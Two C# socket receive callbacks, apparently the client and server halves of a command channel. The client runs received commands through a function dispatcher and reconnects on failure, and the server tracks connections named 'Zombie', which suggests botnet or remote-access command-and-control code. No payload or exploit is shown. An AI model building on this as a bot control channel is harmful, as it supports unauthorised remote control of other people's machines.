private static void ReceiveCallback(IAsyncResult ar) { // TODO: ERROR CONTROL AND OPERATION TIMEOUT. byte[] sizeBuf = (byte[])ar.AsyncState; try { Socket.EndReceive(ar); } catch (SocketException) { Console.WriteLine("Disconnected. Restarting client."); RestartSocket(); return; } int bufSize = BitConverter.ToInt32(sizeBuf, 0); byte[] buffer; MemoryStream ms = new MemoryStream(); while (bufSize > 0) { if (bufSize < Socket.ReceiveBufferSize) { buffer = new byte[bufSize]; } else { buffer = new byte[Socket.ReceiveBufferSize]; } int rec = Socket.Receive(buffer, 0, buffer.Length, 0); bufSize -= rec; ms.Write(buffer, 0, rec); } ms.Close(); byte[] data = ms.ToArray(); ms.Dispose(); if (CommandDataSerializer.Deserialize(data, FunctionManager.Process) == CommandFlags.DataCorrupted) { Client.RestartSocket(); return; } Receive(); }
private static void ReceiveCallback(IAsyncResult ar) { StateObject state = (StateObject)ar.AsyncState; try { state.Zombie.Socket.EndReceive(ar); } catch (SocketException) { Console.WriteLine("Zombie disconnected. Cleaning up."); state.Zombie.Destroy(); return; } int bufSize = BitConverter.ToInt32(state.Buffer, 0); byte[] buffer; MemoryStream ms = new MemoryStream(); while (bufSize > 0) { if (bufSize < state.Zombie.Socket.ReceiveBufferSize) { buffer = new byte[bufSize]; } else { buffer = new byte[state.Zombie.Socket.ReceiveBufferSize]; } int rec = state.Zombie.Socket.Receive(buffer, 0, buffer.Length, 0); bufSize -= rec; ms.Write(buffer, 0, rec); } ms.Close(); byte[] data = ms.ToArray(); ms.Dispose(); if (CommandDataSerializer.Deserialize(data, FunctionManager.Process) == CommandFlags.DataCorrupted) { state.Zombie.Destroy(); return; } Receive(state.Zombie); }